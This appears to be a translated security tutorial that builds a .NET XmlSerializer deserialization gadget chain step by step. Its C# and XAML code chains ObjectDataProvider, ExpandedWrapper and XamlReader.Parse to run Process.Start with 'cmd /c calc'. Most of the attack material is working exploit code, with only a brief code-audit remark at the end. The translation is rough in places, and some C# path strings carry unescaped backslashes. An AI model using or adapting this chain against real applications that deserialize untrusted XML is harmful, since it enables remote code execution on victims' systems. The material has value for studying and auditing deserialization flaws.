.NET–XML deserialization utilization chain analysis

1. The ObjectDataProvider class is located in the System.Windows.Data namespace and encapsulated in the PresentationFramework.dll assembly. Its main function is to provide an instantiated object of a non-static class as a data source for WPF control binding. There are three main categories: Usage:

1. Obtain the type information of the instantiated class through C#typeof. The code is as follows to pop up Calc.exe:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;

namespace objdatapro
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            ObjectDataProvider objectDataProvider = new ObjectDataProvider()
            {
                ObjectType = typeof(System.Diagnostics.Process)
            };
            objectDataProvider.MethodParameters.Add("calc");
            objectDataProvider.MethodName = "Start";

        }
    }
}

Results of the:

2. Use Object.GetType() to return the type instance of the current object. The code is as follows:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;

namespace objdatapro2
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            ObjectDataProvider objectDataProvider = new ObjectDataProvider()
            {
                ObjectType = new System.Diagnostics.Process().GetType()
            };
        objectDataProvider.MethodParameters.Add("calc");
        objectDataProvider.MethodName="Start";
        }
    }
}

The execution results are as follows:

3. Obtaining the type instance of the object through GetType, a static member of the Type class, is more complicated. You can study it by yourself. No demonstration will be given here.

2. Practical application of ObjectDataProvider class in deserialization

First define a TestClass class, and then define a Classmethod method for the TestClass class. This method calls System.Diagnostics.Process to execute the command, then obtains the instantiated object of the TestClass class through objectDataProvider, and then calls the Classmethod method to execute through the obtained instantiated object. Order:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;

namespace objdatapro3
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public class TestClass {
        private string Classname;
        private string name;
        public string ClassName { get => Classname; set => Classname = value; }
        public string Name { get => name; set => name = value; }
        public override string ToString()
        {
            return base.ToString();
        }
        public void Classmethod(string cmd) {
            System.Diagnostics.Process ie = new System.Diagnostics.Process();
            ie.StartInfo.FileName = cmd;
            ie.Start();


        }

    }
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            ObjectDataProvider objectDataProvider = new ObjectDataProvider();
            objectDataProvider.ObjectInstance = new TestClass();
            objectDataProvider.MethodName = "Classmethod";
            objectDataProvider.MethodParameters.Add("calc.exe");

        }
    }
}

Combining the relevant knowledge of xml serialization and deserialization, if you don’t know how, you can refer to “.Net–Xml Serialization and Deserialization Demo” and directly serialize the ObjectDataProvider class into an xml file to create an exploit chain, but In actual situations, if you use XmlSerializer to serialize directly, an exception will be thrown because the member type of ObjectInstance is unknown during the serialization process. However, you can use the ExpandedWrapper extension class to preload TestClass inside the system to avoid exception errors. Rewrite the Demo

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml.Serialization;
using System.Data.Services.Internal;

namespace objdatapro3
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public class TestClass {
        private string Classname;
        private string name;
        public string ClassName { get => Classname; set => Classname = value; }
        public string Name { get => name; set => name = value; }
        public override string ToString()
        {
            return base.ToString();
        }
        public void Classmethod(string cmd) {
            System.Diagnostics.Process ie = new System.Diagnostics.Process();
            ie.StartInfo.FileName = cmd;
            ie.Start();


        }

    }
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            // ObjectDataProvider objectDataProvider = new ObjectDataProvider();
            //objectDataProvider.ObjectInstance = new TestClass();
            //objectDataProvider.MethodName = "Classmethod";
            //objectDataProvider.MethodParameters.Add("calc.exe");
            //FileStream fileStream = File.OpenWrite(@"C:\programdata\XmlDescr_demo.test");
            //using (TextWriter write = new StreamWriter(fileStream)) {
            //XmlSerializer serializer = new XmlSerializer(typeof(ObjectDataProvider));
            //serializer.Serialize(write, objectDataProvider);
            //}
            ExpandedWrapper<TestClass, ObjectDataProvider> wrapp = new ExpandedWrapper<TestClass, ObjectDataProvider>();
            wrapp.ProjectedProperty0 = new ObjectDataProvider();
            wrapp.ProjectedProperty0.ObjectInstance = new TestClass();
            wrapp.ProjectedProperty0.MethodName = "Classmethod";
            wrapp.ProjectedProperty0.MethodParameters.Add("calc.exe");
            XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
            TextWriter textWriter = new StreamWriter(@"C:\programdata\xmldex_demo.xml");
            serializer.Serialize(textWriter, wrapp);
            textWriter.Close();
        }
    }
}

In some environments, an error will occur when introducing ExpandedWrapper, and you need to install the ExpandedWrapper assembly.

The first step of the attack chain is basically completed here, but in a production environment we are unlikely to find a class like TestClass to execute commands. We can only find ways to call system classes to execute commands.

3. ResourceDictionary is one of the most commonly used types in WPF applications. It is used to provide a convenient way to define and manage application resources. Through ResourceDictionary, we can centrally define resources and easily add them to the application. Visit these resources.

In WPF, XAML files are a markup language that describes interfaces and resources. They often include structures and events of components such as windows, pages, and controls. ResourceDictionary can exist in XAML files or can be defined in C# files in the form of code.

ResourceDictionary is stored in the form of key-value pairs, the key is a string, and each value can be any object. It also supports adding, removing and finding resources. We can define command execution in XAMl, then parse and execute it through the XamlReader system class, and then instantiate and call XamlReader through ObjectDataProvider to execute the command to build a complete utilization chain, so that we do not need to create a TestClass class.

1. Parse Xaml through XmalReader to implement command execution demo

Create Xmal file TestDemo.xaml

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                    xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=system"
                    >
    <ObjectDataProvider x:Key="RunCmdShell" ObjectType="{x:Type Runtime:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd</System:String>
            <System:String>/c calc</System:String>

        </ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    
</ResourceDictionary>

Call XamlReader to parse Xaml

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;


namespace objdatapro4
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            string xml = File.ReadAllText("G:\project\class7\objdatapro4\TestDemo.xaml");
            XamlReader.Parse(xml);
        }
    }
}

Modify the code, obtain an instance of XmalReader through ObjectInstance of ObjectDataProvider, specify MethodName as Parse, and pass the serialized resource dictionary data to MethodParameters, thus completing the creation of the XmlSerializer deserialization attack chain.

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;


namespace objdatapro4
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            string xml = File.ReadAllText("G:\project\class7\objdatapro4\TestDemo.xaml");
            ///XamlReader.Parse(xml);
            ObjectDataProvider objectDataProvider = new ObjectDataProvider();
            objectDataProvider.ObjectInstance = new XamlReader();
            objectDataProvider.MethodName = "Parse";
            objectDataProvider.MethodParameters.Add(xml);
        }
    }
}

From the perspective of code audit, focus on whether there is an xml deserializer, and then there is a necessary condition whether the Type type parameter is passed in and the parameter can be controlled, because the type class must be passed during the process of serializing or deserializing Xml. Methods such as typeof, object.Type, Type.GetType to obtain basic information of the serialized or deserialized class.